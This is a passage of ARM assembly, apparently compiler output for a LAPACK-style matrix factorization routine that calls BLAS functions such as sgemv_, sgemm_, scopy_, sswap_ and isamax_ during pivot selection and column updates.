lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
ldr r3, [r3] @ float
ldr r1, [fp, #-36] @ float
mov r0, r3
bl __aeabi_fmul
mov r3, r0
mov r0, r3
ldr r3, [fp, #-28]
sub r3, r3, #1
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-148]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fsub
mov r3, r0
ldr r1, [fp, #-20] @ float
mov r0, r3
bl __aeabi_fdiv
mov r3, r0
mov r0, r3
ldr r3, [fp, #-144]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-148]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r4, r2, r3
ldr r1, [fp, #-32] @ float
bl __aeabi_fmul
mov r3, r0
str r3, [r4] @ float
ldr r3, [fp, #-148]
add r3, r3, #1
str r3, [fp, #-148]
.L136:
ldr r2, [fp, #-148]
ldr r3, [fp, #-172]
cmp r2, r3
ble .L137
.L135:
ldr r3, [fp, #-144]
sub r2, r3, #1
ldr r3, [fp, #-28]
sub r3, r3, #1
ldr r1, [fp, #-76]
mul r3, r1, r3
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r2, r2, r3
ldr r3, [fp, #-144]
sub r1, r3, #1
ldr r3, [fp, #-144]
sub r3, r3, #1
ldr r0, [fp, #-84]
mul r3, r0, r3
add r3, r1, r3
lsl r3, r3, #2
ldr r1, [fp, #-192]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
ldr r3, [fp, #-144]
sub r2, r3, #1
ldr r3, [fp, #-28]
ldr r1, [fp, #-76]
mul r3, r1, r3
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r2, r2, r3
ldr r3, [fp, #-144]
sub r1, r3, #1
ldr r3, [fp, #-144]
ldr r0, [fp, #-84]
mul r3, r0, r3
add r3, r1, r3
lsl r3, r3, #2
ldr r1, [fp, #-192]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
ldr r3, [fp, #-28]
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-144]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r2, r2, r3
ldr r3, [fp, #-144]
ldr r1, [fp, #-84]
mul r1, r3, r1
ldr r3, [fp, #-144]
add r3, r1, r3
lsl r3, r3, #2
ldr r1, [fp, #-192]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
.L99:
ldr r3, [fp, #-112]
cmp r3, #1
bne .L138
ldr r3, [fp, #-144]
lsl r3, r3, #2
ldr r2, [fp, #-200]
add r3, r2, r3
ldr r2, [fp, #-124]
str r2, [r3]
b .L139
.L138:
ldr r2, [fp, #-140]
ldr r3, [fp, #-144]
lsl r3, r3, #2
ldr r1, [fp, #-200]
add r3, r1, r3
rsb r2, r2, #0
str r2, [r3]
ldr r2, [fp, #-124]
ldr r3, [fp, #-144]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r1, [fp, #-200]
add r3, r1, r3
rsb r2, r2, #0
str r2, [r3]
.L139:
ldr r2, [fp, #-144]
ldr r3, [fp, #-112]
sub r3, r2, r3
str r3, [fp, #-144]
b .L78
.L267:
nop
.L82:
ldr r3, [fp, #-184]
ldr r3, [r3]
rsb r3, r3, #0
str r3, [fp, #-172]
ldr r3, [fp, #-144]
sub r2, r3, #1
ldr r3, [fp, #-184]
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl __aeabi_idiv
mov r3, r0
mov r2, r3
ldr r3, [fp, #-184]
ldr r3, [r3]
mul r3, r2, r3
add r3, r3, #1
str r3, [fp, #-148]
b .L140
.L146:
ldr r3, [fp, #-184]
ldr r3, [r3]
str r3, [fp, #-168]
ldr r2, [fp, #-144]
ldr r3, [fp, #-148]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-164]
ldr r2, [fp, #-168]
ldr r3, [fp, #-164]
cmp r2, r3
movlt r3, r2
movge r3, r3
str r3, [fp, #-132]
ldr r2, [fp, #-148]
ldr r3, [fp, #-132]
add r3, r2, r3
sub r3, r3, #1
str r3, [fp, #-168]
ldr r3, [fp, #-148]
str r3, [fp, #-104]
b .L141
.L142:
ldr r3, [fp, #-148]
ldr r2, [fp, #-104]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-164]
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-144]
sub r3, r2, r3
str r3, [fp, #-160]
ldr r3, [fp, #-144]
add r3, r3, #1
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-148]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r3, r2, r3
ldr r2, [fp, #-28]
add r2, r2, #1
ldr r1, [fp, #-76]
mul r1, r2, r1
ldr r2, [fp, #-104]
add r2, r1, r2
lsl r2, r2, #2
ldr r1, [fp, #-204]
add r2, r1, r2
ldr r1, [fp, #-104]
ldr r0, [fp, #-84]
mul r0, r1, r0
ldr r1, [fp, #-148]
add r1, r0, r1
lsl r1, r1, #2
ldr r0, [fp, #-192]
add r1, r0, r1
sub ip, fp, #160
sub r0, fp, #164
ldr lr, .L269+32
str lr, [sp, #24]
str r1, [sp, #20]
ldr r1, .L269+20
str r1, [sp, #16]
ldr r1, [fp, #-208]
str r1, [sp, #12]
str r2, [sp, #8]
ldr r2, [fp, #-196]
str r2, [sp, #4]
str r3, [sp]
ldr r3, .L269+24
mov r2, ip
mov r1, r0
ldr r0, .L269+28
bl sgemv_
ldr r3, [fp, #-104]
add r3, r3, #1
str r3, [fp, #-104]
.L141:
ldr r3, [fp, #-168]
ldr r2, [fp, #-104]
cmp r2, r3
ble .L142
ldr r3, [fp, #-148]
cmp r3, #1
ble .L143
ldr r3, [fp, #-148]
sub r3, r3, #1
str r3, [fp, #-168]
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-144]
sub r3, r2, r3
str r3, [fp, #-164]
ldr r3, [fp, #-144]
add r3, r3, #1
ldr r2, [fp, #-84]
mul r3, r2, r3
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r3, r2, r3
ldr r2, [fp, #-28]
add r2, r2, #1
ldr r1, [fp, #-76]
mul r1, r2, r1
ldr r2, [fp, #-148]
add r2, r1, r2
lsl r2, r2, #2
ldr r1, [fp, #-204]
add r2, r1, r2
ldr r1, [fp, #-148]
ldr r0, [fp, #-84]
mul r1, r0, r1
add r1, r1, #1
lsl r1, r1, #2
ldr r0, [fp, #-192]
add r1, r0, r1
sub lr, fp, #132
sub ip, fp, #168
ldr r0, [fp, #-196]
str r0, [sp, #32]
str r1, [sp, #28]
ldr r1, .L269+20
str r1, [sp, #24]
ldr r1, [fp, #-208]
str r1, [sp, #20]
str r2, [sp, #16]
ldr r2, [fp, #-196]
str r2, [sp, #12]
str r3, [sp, #8]
ldr r3, .L269+24
str r3, [sp, #4]
sub r3, fp, #164
str r3, [sp]
mov r3, lr
mov r2, ip
ldr r1, .L269+16
ldr r0, .L269+28
bl sgemm_
.L143:
ldr r2, [fp, #-148]
ldr r3, [fp, #-172]
add r3, r2, r3
str r3, [fp, #-148]
.L140:
ldr r3, [fp, #-172]
cmp r3, #0
bge .L144
ldr r3, [fp, #-148]
cmp r3, #0
movgt r3, #1
movle r3, #0
and r3, r3, #255
b .L145
.L144:
ldr r3, [fp, #-148]
cmp r3, #1
movle r3, #1
movgt r3, #0
and r3, r3, #255
.L145:
cmp r3, #0
bne .L146
ldr r3, [fp, #-144]
add r3, r3, #1
str r3, [fp, #-148]
.L147:
mov r3, #1
str r3, [fp, #-112]
mov r3, #1
str r3, [fp, #-96]
ldr r3, [fp, #-148]
str r3, [fp, #-104]
ldr r3, [fp, #-148]
lsl r3, r3, #2
ldr r2, [fp, #-200]
add r3, r2, r3
ldr r3, [r3]
str r3, [fp, #-92]
ldr r3, [fp, #-92]
cmp r3, #0
bge .L148
ldr r3, [fp, #-92]
rsb r3, r3, #0
str r3, [fp, #-92]
ldr r3, [fp, #-148]
add r3, r3, #1
str r3, [fp, #-148]
ldr r3, [fp, #-148]
lsl r3, r3, #2
ldr r2, [fp, #-200]
add r3, r2, r3
ldr r3, [r3]
rsb r3, r3, #0
str r3, [fp, #-96]
mov r3, #2
str r3, [fp, #-112]
.L148:
ldr r3, [fp, #-148]
add r3, r3, #1
str r3, [fp, #-148]
ldr r2, [fp, #-92]
ldr r3, [fp, #-104]
cmp r2, r3
beq .L149
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-148]
cmp r2, r3
blt .L149
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-148]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-172]
ldr r3, [fp, #-148]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-92]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r1, r2, r3
ldr r3, [fp, #-148]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-104]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r2, r2, r3
sub r0, fp, #172
ldr r3, [fp, #-196]
str r3, [sp]
mov r3, r2
ldr r2, [fp, #-196]
bl sswap_
.L149:
ldr r3, [fp, #-148]
sub r3, r3, #1
str r3, [fp, #-104]
ldr r2, [fp, #-96]
ldr r3, [fp, #-104]
cmp r2, r3
beq .L150
ldr r3, [fp, #-112]
cmp r3, #2
bne .L150
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-148]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-172]
ldr r3, [fp, #-148]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-96]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r1, r2, r3
ldr r3, [fp, #-148]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-104]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r2, r2, r3
sub r0, fp, #172
ldr r3, [fp, #-196]
str r3, [sp]
mov r3, r2
ldr r2, [fp, #-196]
bl sswap_
.L150:
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-148]
cmp r2, r3
blt .L151
b .L147
.L151:
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-144]
sub r2, r2, r3
ldr r3, [fp, #-188]
str r2, [r3]
b .L152
.L77:
mov r3, #1
str r3, [fp, #-144]
.L153:
ldr r3, [fp, #-184]
ldr r2, [r3]
ldr r3, [fp, #-144]
cmp r2, r3
bgt .L154
ldr r3, [fp, #-184]
ldr r2, [r3]
ldr r3, [fp, #-180]
ldr r3, [r3]
cmp r2, r3
blt .L268
.L154:
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-144]
cmp r2, r3
blt .L268
mov r3, #1
str r3, [fp, #-112]
ldr r3, [fp, #-144]
str r3, [fp, #-140]
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-144]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-172]
ldr r3, [fp, #-144]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-144]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r1, r2, r3
ldr r3, [fp, #-144]
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-144]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
sub r0, fp, #172
ldr r2, .L269+32
str r2, [sp]
ldr r2, .L269+32
bl scopy_
ldr r3, [fp, #-144]
cmp r3, #1
ble .L158
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-144]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-172]
ldr r3, [fp, #-144]
sub r3, r3, #1
str r3, [fp, #-168]
ldr r2, [fp, #-144]
ldr r3, [fp, #-84]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r3, r2, r3
ldr r1, [fp, #-144]
ldr r2, [fp, #-76]
add r2, r1, r2
lsl r2, r2, #2
ldr r1, [fp, #-204]
add r2, r1, r2
ldr r1, [fp, #-144]
ldr r0, [fp, #-76]
mul r0, r1, r0
ldr r1, [fp, #-144]
add r1, r0, r1
lsl r1, r1, #2
ldr r0, [fp, #-204]
add r1, r0, r1
sub ip, fp, #168
sub r0, fp, #172
ldr lr, .L269+32
str lr, [sp, #24]
str r1, [sp, #20]
ldr r1, .L269+20
str r1, [sp, #16]
ldr r1, [fp, #-208]
str r1, [sp, #12]
str r2, [sp, #8]
ldr r2, [fp, #-196]
str r2, [sp, #4]
str r3, [sp]
ldr r3, .L269+24
mov r2, ip
mov r1, r0
ldr r0, .L269+28
bl sgemv_
.L158:
ldr r3, [fp, #-144]
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-144]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-60] @ float
mov r1, #0
ldr r0, [fp, #-60] @ float
bl __aeabi_fcmpge
mov r3, r0
cmp r3, #0
beq .L258
ldr r3, [fp, #-60] @ float
b .L161
.L258:
ldr r3, [fp, #-60]
eor r3, r3, #-2147483648
.L161:
str r3, [fp, #-56] @ float
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-144]
cmp r2, r3
ble .L162
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-144]
sub r3, r2, r3
str r3, [fp, #-172]
ldr r3, [fp, #-144]
add r2, r3, #1
ldr r3, [fp, #-144]
ldr r1, [fp, #-76]
mul r3, r1, r3
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r1, r2, r3
sub r3, fp, #172
ldr r2, .L269+32
mov r0, r3
bl isamax_
mov r2, r0
ldr r3, [fp, #-144]
add r3, r2, r3
str r3, [fp, #-152]
ldr r3, [fp, #-144]
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-152]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-60] @ float
mov r1, #0
ldr r0, [fp, #-60] @ float
bl __aeabi_fcmpge
mov r3, r0
cmp r3, #0
beq .L259
ldr r3, [fp, #-60] @ float
b .L165
.L259:
ldr r3, [fp, #-60]
eor r3, r3, #-2147483648
.L165:
str r3, [fp, #-100] @ float
b .L166
.L162:
mov r3, #0
str r3, [fp, #-100] @ float
.L166:
ldr r1, [fp, #-100] @ float
ldr r0, [fp, #-56] @ float
bl __aeabi_fcmpge
mov r3, r0
cmp r3, #0
beq .L260
mov r3, #1
mov r4, r3
mov r1, #0
ldr r0, [fp, #-56] @ float
bl __aeabi_fcmpeq
mov r3, r0
cmp r3, #0
bne .L169
mov r3, #0
mov r4, r3
.L169:
and r3, r4, #255
b .L170
.L260:
mov r3, #1
mov r4, r3
mov r1, #0
ldr r0, [fp, #-100] @ float
bl __aeabi_fcmpeq
mov r3, r0
cmp r3, #0
bne .L171
mov r3, #0
mov r4, r3
.L171:
and r3, r4, #255
.L170:
cmp r3, #0
beq .L172
ldr r3, [fp, #-212]
ldr r3, [r3]
cmp r3, #0
bne .L173
ldr r2, [fp, #-144]
ldr r3, [fp, #-212]
str r2, [r3]
.L173:
ldr r3, [fp, #-144]
str r3, [fp, #-124]
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-144]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-172]
ldr r3, [fp, #-144]
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-144]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r1, r2, r3
ldr r3, [fp, #-144]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-144]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r3, r2, r3
sub r0, fp, #172
ldr r2, .L269+32
str r2, [sp]
ldr r2, .L269+32
bl scopy_
b .L174
.L172:
ldr r1, [fp, #-100] @ float
ldr r0, [fp, #-68] @ float
bl __aeabi_fmul
mov r3, r0
mov r2, #1
mov r4, r2
mov r1, r3
ldr r0, [fp, #-56] @ float
bl __aeabi_fcmplt
mov r3, r0
cmp r3, #0
bne .L175
mov r3, #0
mov r4, r3
.L175:
and r3, r4, #255
eor r3, r3, #1
and r3, r3, #255
cmp r3, #0
beq .L176
ldr r3, [fp, #-144]
str r3, [fp, #-124]
b .L177
.L176:
mov r3, #0
str r3, [fp, #-120]
.L178:
ldr r2, [fp, #-152]
ldr r3, [fp, #-144]
sub r3, r2, r3
str r3, [fp, #-172]
ldr r3, [fp, #-144]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-152]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r1, r2, r3
ldr r3, [fp, #-144]
add r3, r3, #1
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-144]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
sub r0, fp, #172
ldr r2, .L269+32
str r2, [sp]
ldr r2, [fp, #-196]
bl scopy_
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-152]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-172]
ldr r3, [fp, #-152]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-152]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r1, r2, r3
ldr r3, [fp, #-144]
add r3, r3, #1
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-152]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
sub r0, fp, #172
ldr r2, .L269+32
str r2, [sp]
ldr r2, .L269+32
bl scopy_
ldr r3, [fp, #-144]
cmp r3, #1
ble .L179
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-144]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-172]
ldr r3, [fp, #-144]
sub r3, r3, #1
str r3, [fp, #-168]
ldr r2, [fp, #-144]
ldr r3, [fp, #-84]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r3, r2, r3
ldr r1, [fp, #-152]
ldr r2, [fp, #-76]
add r2, r1, r2
lsl r2, r2, #2
ldr r1, [fp, #-204]
add r2, r1, r2
ldr r1, [fp, #-144]
add r1, r1, #1
ldr r0, [fp, #-76]
mul r0, r1, r0
ldr r1, [fp, #-144]
add r1, r0, r1
lsl r1, r1, #2
ldr r0, [fp, #-204]
add r1, r0, r1
sub ip, fp, #168
sub r0, fp, #172
ldr lr, .L269+32
str lr, [sp, #24]
str r1, [sp, #20]
ldr r1, .L269+20
str r1, [sp, #16]
ldr r1, [fp, #-208]
str r1, [sp, #12]
str r2, [sp, #8]
ldr r2, [fp, #-196]
str r2, [sp, #4]
str r3, [sp]
ldr r3, .L269+24
mov r2, ip
mov r1, r0
ldr r0, .L269+28
bl sgemv_
.L179:
ldr r2, [fp, #-152]
ldr r3, [fp, #-144]
cmp r2, r3
beq .L180
ldr r2, [fp, #-152]
ldr r3, [fp, #-144]
sub r3, r2, r3
str r3, [fp, #-172]
ldr r3, [fp, #-144]
sub r4, r3, #1
ldr r3, [fp, #-144]
add r3, r3, #1
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-144]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r1, r2, r3
sub r3, fp, #172
ldr r2, .L269+32
mov r0, r3
bl isamax_
mov r3, r0
add r3, r4, r3
str r3, [fp, #-116]
ldr r3, [fp, #-144]
add r3, r3, #1
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-116]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-60] @ float
mov r1, #0
ldr r0, [fp, #-60] @ float
bl __aeabi_fcmpge
mov r3, r0
cmp r3, #0
beq .L261
ldr r3, [fp, #-60] @ float
b .L183
.L261:
ldr r3, [fp, #-60]
eor r3, r3, #-2147483648
.L183:
str r3, [fp, #-88] @ float
b .L184
.L180:
mov r3, #0
str r3, [fp, #-88] @ float
.L184:
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-152]
cmp r2, r3
ble .L185
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-152]
sub r3, r2, r3
str r3, [fp, #-172]
ldr r3, [fp, #-152]
add r2, r3, #1
ldr r3, [fp, #-144]
add r3, r3, #1
ldr r1, [fp, #-76]
mul r3, r1, r3
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r1, r2, r3
sub r3, fp, #172
ldr r2, .L269+32
mov r0, r3
bl isamax_
mov r2, r0
ldr r3, [fp, #-152]
add r3, r2, r3
str r3, [fp, #-52]
ldr r3, [fp, #-144]
add r3, r3, #1
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-52]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-60] @ float
mov r1, #0
ldr r0, [fp, #-60] @ float
bl __aeabi_fcmpge
mov r3, r0
cmp r3, #0
beq .L262
ldr r3, [fp, #-60] @ float
b .L188
.L262:
ldr r3, [fp, #-60]
eor r3, r3, #-2147483648
.L188:
str r3, [fp, #-48] @ float
ldr r1, [fp, #-88] @ float
ldr r0, [fp, #-48] @ float
bl __aeabi_fcmpgt
mov r3, r0
cmp r3, #0
beq .L185
ldr r3, [fp, #-48] @ float
str r3, [fp, #-88] @ float
ldr r3, [fp, #-52]
str r3, [fp, #-116]
.L185:
ldr r3, [fp, #-144]
add r3, r3, #1
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-152]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-60] @ float
mov r1, #0
ldr r0, [fp, #-60] @ float
bl __aeabi_fcmpge
mov r3, r0
cmp r3, #0
beq .L263
ldr r4, [fp, #-60] @ float
b .L192
.L263:
ldr r3, [fp, #-60]
eor r4, r3, #-2147483648
.L192:
ldr r1, [fp, #-88] @ float
ldr r0, [fp, #-68] @ float
bl __aeabi_fmul
mov r3, r0
mov r2, #1
mov r5, r2
mov r1, r3
mov r0, r4
bl __aeabi_fcmplt
mov r3, r0
cmp r3, #0
bne .L193
mov r3, #0
mov r5, r3
.L193:
and r3, r5, #255
eor r3, r3, #1
and r3, r3, #255
cmp r3, #0
beq .L194
ldr r3, [fp, #-152]
str r3, [fp, #-124]
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-144]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-172]
ldr r3, [fp, #-144]
add r3, r3, #1
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-144]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r1, r2, r3
ldr r3, [fp, #-144]
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-144]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
sub r0, fp, #172
ldr r2, .L271
str r2, [sp]
ldr r2, .L271
bl scopy_
mov r3, #1
str r3, [fp, #-120]
b .L195
.L194:
ldr r3, [fp, #-140]
ldr r2, [fp, #-116]
cmp r2, r3
beq .L196
ldr r1, [fp, #-100] @ float
ldr r0, [fp, #-88] @ float
bl __aeabi_fcmple
mov r3, r0
cmp r3, #0
beq .L264
.L196:
ldr r3, [fp, #-152]
str r3, [fp, #-124]
mov r3, #2
str r3, [fp, #-112]
mov r3, #1
str r3, [fp, #-120]
b .L195
.L264:
ldr r3, [fp, #-152]
str r3, [fp, #-140]
ldr r3, [fp, #-88] @ float
str r3, [fp, #-100] @ float
ldr r3, [fp, #-116]
str r3, [fp, #-152]
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-144]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-172]
ldr r3, [fp, #-144]
add r3, r3, #1
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-144]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r1, r2, r3
ldr r3, [fp, #-144]
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #-144]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r3, r2, r3
sub r0, fp, #172
ldr r2, .L271
str r2, [sp]
ldr r2, .L271
bl scopy_
.L195:
ldr r3, [fp, #-120]
cmp r3, #0
bne .L177
b .L178
.L177:
ldr r2, [fp, #-144]
ldr r3, [fp, #-112]
add r3, r2, r3
sub r3, r3, #1
str r3, [fp, #-128]
ldr r3, [fp, #-112]
cmp r3, #2
bne .L199
ldr r2, [fp, #-140]
ldr r3, [fp, #-144]
cmp r2, r3
beq .L199
ldr r2, [fp, #-140]
ldr r3, [fp, #-144]
sub r3, r2, r3
str r3, [fp, #-172]
ldr r3, [fp, #-144]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-144]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r1, r2, r3
ldr r3, [fp, #-144]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-140]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r2, r2, r3
sub r0, fp, #172
ldr r3, [fp, #-196]
str r3, [sp]
mov r3, r2
ldr r2, .L271
bl scopy_
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-140]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-172]
ldr r3, [fp, #-144]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-140]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r1, r2, r3
ldr r3, [fp, #-140]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-140]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r3, r2, r3
sub r0, fp, #172
ldr r2, .L271
str r2, [sp]
ldr r2, .L271
bl scopy_
ldr r2, [fp, #-144]
ldr r3, [fp, #-84]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r1, r2, r3
ldr r2, [fp, #-140]
ldr r3, [fp, #-84]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r2, r2, r3
sub r0, fp, #144
ldr r3, [fp, #-196]
str r3, [sp]
mov r3, r2
ldr r2, [fp, #-196]
bl sswap_
ldr r2, [fp, #-144]
ldr r3, [fp, #-76]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r1, r2, r3
ldr r2, [fp, #-140]
ldr r3, [fp, #-76]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-204]
add r2, r2, r3
sub r0, fp, #128
ldr r3, [fp, #-208]
str r3, [sp]
mov r3, r2
ldr r2, [fp, #-208]
bl sswap_
.L199:
ldr r2, [fp, #-124]
ldr r3, [fp, #-128]
cmp r2, r3
beq .L200
ldr r3, [fp, #-144]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-128]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r2, r2, r3
ldr r3, [fp, #-144]
ldr r1, [fp, #-84]
mul r1, r3, r1
ldr r3, [fp, #-124]
add r3, r1, r3
lsl r3, r3, #2
ldr r1, [fp, #-192]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
ldr r2, [fp, #-124]
ldr r3, [fp, #-144]
sub r3, r2, r3
sub r3, r3, #1
str r3, [fp, #-172]
ldr r3, [fp, #-144]
add r2, r3, #1
ldr r3, [fp, #-128]
ldr r1, [fp, #-84]
mul r3, r1, r3
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r1, r2, r3
ldr r3, [fp, #-144]
add r3, r3, #1
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-124]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r2, r2, r3
sub r0, fp, #172
ldr r3, [fp, #-196]
str r3, [sp]
mov r3, r2
ldr r2, .L271
bl scopy_
ldr r3, [fp, #-180]
ldr r2, [r3]
ldr r3, [fp, #-124]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-172]
ldr r3, [fp, #-128]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-124]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r1, r2, r3
ldr r3, [fp, #-124]
ldr r2, [fp, #-84]
mul r2, r3, r2
ldr r3, [fp, #-124]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
add r3, r2, r3
sub r0, fp, #172
ldr r2, .L271
str r2, [sp]
ldr r2, .L271
bl scopy_
ldr r2, [fp, #-128]
ldr r3, [fp, #-84]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-192]
